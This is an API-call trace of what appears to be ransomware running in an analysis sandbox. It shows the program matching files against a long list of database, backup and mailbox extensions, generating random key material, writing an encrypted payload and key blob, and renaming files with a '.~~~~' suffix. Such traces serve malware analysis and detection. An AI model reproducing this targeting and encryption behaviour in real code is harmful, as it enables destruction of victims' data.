	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0086.456] lstrlenW (lpString=".DBS") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0086.457] lstrlenW (lpString=".CKP") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0086.457] lstrlenW (lpString=".edb") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0086.457] lstrlenW (lpString=".PST") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0086.457] lstrlenW (lpString=".dbf") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0086.457] lstrlenW (lpString=".SQL") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0086.457] lstrlenW (lpString=".pst") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0086.457] lstrlenW (lpString=".dbv") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0086.457] lstrlenW (lpString=".SDF") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0086.457] lstrlenW (lpString=".dtxs") returned 5
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0086.457] lstrlenW (lpString=".db3") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0086.457] lstrlenW (lpString=".OST") returned 4
	[0086.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0086.458] lstrlenW (lpString=".dbx") returned 4
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0086.458] lstrlenW (lpString=".DB3") returned 4
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0086.458] lstrlenW (lpString=".DAT") returned 4
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0086.458] lstrlenW (lpString=".VHDX") returned 5
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0086.458] lstrlenW (lpString=".ndf") returned 4
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0086.458] lstrlenW (lpString=".DB") returned 3
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0086.458] lstrlenW (lpString=".sql") returned 4
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0086.458] lstrlenW (lpString=".MYD") returned 4
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0086.458] lstrlenW (lpString=".DBT") returned 4
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0086.458] lstrlenW (lpString=".ACCDB") returned 6
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0086.458] lstrlenW (lpString=".fdb") returned 4
	[0086.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0086.459] lstrlenW (lpString=".bak") returned 4
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0086.459] lstrlenW (lpString=".myd") returned 4
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0086.459] lstrlenW (lpString=".DTXS") returned 5
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0086.459] lstrlenW (lpString=".ckp") returned 4
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0086.459] lstrlenW (lpString=".dbt") returned 4
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0086.459] lstrlenW (lpString=".db") returned 3
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0086.459] lstrlenW (lpString=".TXT") returned 4
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0086.459] lstrlenW (lpString=".MDF") returned 4
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0086.459] lstrlenW (lpString=".bdb") returned 4
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0086.459] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.459] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.461] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.461] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.461] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20645112293) returned 1
	[0086.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d563a50, dwHighDateTime=0x1d60e1e)) 
	[0086.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f95f0
	[0086.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f95f0 | out: hHeap=0x300000) returned 1
	[0086.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba8f8
	[0086.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba8f8 | out: hHeap=0x300000) returned 1
	[0086.462] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.462] GetLastError () returned 0x0
	[0086.462] GetLastError () returned 0x0
	[0086.462] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.462] GetLastError () returned 0x0
	[0086.462] GetLastError () returned 0x0
	[0086.472] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffec81, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.473] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x137f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x137f, lpOverlapped=0x0) returned 1
	[0086.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.473] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.473] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.473] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.473] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.474] CloseHandle (hObject=0x128) returned 1
	[0086.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5c50
	[0086.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.~~~~")) returned 1
	[0086.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5c50 | out: hHeap=0x300000) returned 1
	[0086.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.475] GetLastError () returned 0x0
	[0086.475] lstrlenW (lpString=".sqb") returned 4
	[0086.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".sqb") returned 0x0
	[0086.475] lstrlenW (lpString=".ost") returned 4
	[0086.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".ost") returned 0x0
	[0086.475] lstrlenW (lpString=".txt") returned 4
	[0086.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".txt") returned 0x0
	[0086.475] lstrlenW (lpString=".mdt") returned 4
	[0086.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".mdt") returned 0x0
	[0086.475] lstrlenW (lpString=".BDB") returned 4
	[0086.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".BDB") returned 0x0
	[0086.475] lstrlenW (lpString=".eql") returned 4
	[0086.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".eql") returned 0x0
	[0086.476] lstrlenW (lpString=".DBF") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DBF") returned 0x0
	[0086.476] lstrlenW (lpString=".EQL") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".EQL") returned 0x0
	[0086.476] lstrlenW (lpString=".FDB") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".FDB") returned 0x0
	[0086.476] lstrlenW (lpString=".EDB") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".EDB") returned 0x0
	[0086.476] lstrlenW (lpString=".DACPAC") returned 7
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DACPAC") returned 0x0
	[0086.476] lstrlenW (lpString=".VHD") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".VHD") returned 0x0
	[0086.476] lstrlenW (lpString=".DBV") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DBV") returned 0x0
	[0086.476] lstrlenW (lpString=".dacpac") returned 7
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".dacpac") returned 0x0
	[0086.476] lstrlenW (lpString=".sdf") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".sdf") returned 0x0
	[0086.476] lstrlenW (lpString=".accdb") returned 6
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".accdb") returned 0x0
	[0086.476] lstrlenW (lpString=".DBX") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DBX") returned 0x0
	[0086.476] lstrlenW (lpString=".MDT") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".MDT") returned 0x0
	[0086.476] lstrlenW (lpString=".SQB") returned 4
	[0086.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".SQB") returned 0x0
	[0086.477] lstrlenW (lpString=".vhd") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".vhd") returned 0x0
	[0086.477] lstrlenW (lpString=".bac") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".bac") returned 0x0
	[0086.477] lstrlenW (lpString=".mdf") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".mdf") returned 0x0
	[0086.477] lstrlenW (lpString=".BAK") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".BAK") returned 0x0
	[0086.477] lstrlenW (lpString=".BAC") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".BAC") returned 0x0
	[0086.477] lstrlenW (lpString=".dbs") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".dbs") returned 0x0
	[0086.477] lstrlenW (lpString=".vhdx") returned 5
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".vhdx") returned 0x0
	[0086.477] lstrlenW (lpString=".NDF") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".NDF") returned 0x0
	[0086.477] lstrlenW (lpString=".dat") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".dat") returned 0x0
	[0086.477] lstrlenW (lpString=".DBS") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DBS") returned 0x0
	[0086.477] lstrlenW (lpString=".CKP") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".CKP") returned 0x0
	[0086.477] lstrlenW (lpString=".edb") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".edb") returned 0x0
	[0086.477] lstrlenW (lpString=".PST") returned 4
	[0086.477] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".PST") returned 0x0
	[0086.477] lstrlenW (lpString=".dbf") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".dbf") returned 0x0
	[0086.478] lstrlenW (lpString=".SQL") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".SQL") returned 0x0
	[0086.478] lstrlenW (lpString=".pst") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".pst") returned 0x0
	[0086.478] lstrlenW (lpString=".dbv") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".dbv") returned 0x0
	[0086.478] lstrlenW (lpString=".SDF") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".SDF") returned 0x0
	[0086.478] lstrlenW (lpString=".dtxs") returned 5
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".dtxs") returned 0x0
	[0086.478] lstrlenW (lpString=".db3") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".db3") returned 0x0
	[0086.478] lstrlenW (lpString=".OST") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".OST") returned 0x0
	[0086.478] lstrlenW (lpString=".dbx") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".dbx") returned 0x0
	[0086.478] lstrlenW (lpString=".DB3") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DB3") returned 0x0
	[0086.478] lstrlenW (lpString=".DAT") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DAT") returned 0x0
	[0086.478] lstrlenW (lpString=".VHDX") returned 5
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".VHDX") returned 0x0
	[0086.478] lstrlenW (lpString=".ndf") returned 4
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".ndf") returned 0x0
	[0086.478] lstrlenW (lpString=".DB") returned 3
	[0086.478] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DB") returned 0x0
	[0086.479] lstrlenW (lpString=".sql") returned 4
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".sql") returned 0x0
	[0086.479] lstrlenW (lpString=".MYD") returned 4
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".MYD") returned 0x0
	[0086.479] lstrlenW (lpString=".DBT") returned 4
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DBT") returned 0x0
	[0086.479] lstrlenW (lpString=".ACCDB") returned 6
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".ACCDB") returned 0x0
	[0086.479] lstrlenW (lpString=".fdb") returned 4
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".fdb") returned 0x0
	[0086.479] lstrlenW (lpString=".bak") returned 4
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".bak") returned 0x0
	[0086.479] lstrlenW (lpString=".myd") returned 4
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".myd") returned 0x0
	[0086.479] lstrlenW (lpString=".DTXS") returned 5
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".DTXS") returned 0x0
	[0086.479] lstrlenW (lpString=".ckp") returned 4
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".ckp") returned 0x0
	[0086.479] lstrlenW (lpString=".dbt") returned 4
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".dbt") returned 0x0
	[0086.479] lstrlenW (lpString=".db") returned 3
	[0086.479] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".db") returned 0x0
	[0086.479] lstrlenW (lpString=".TXT") returned 4
	[0086.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".TXT") returned 0x0
	[0086.480] lstrlenW (lpString=".MDF") returned 4
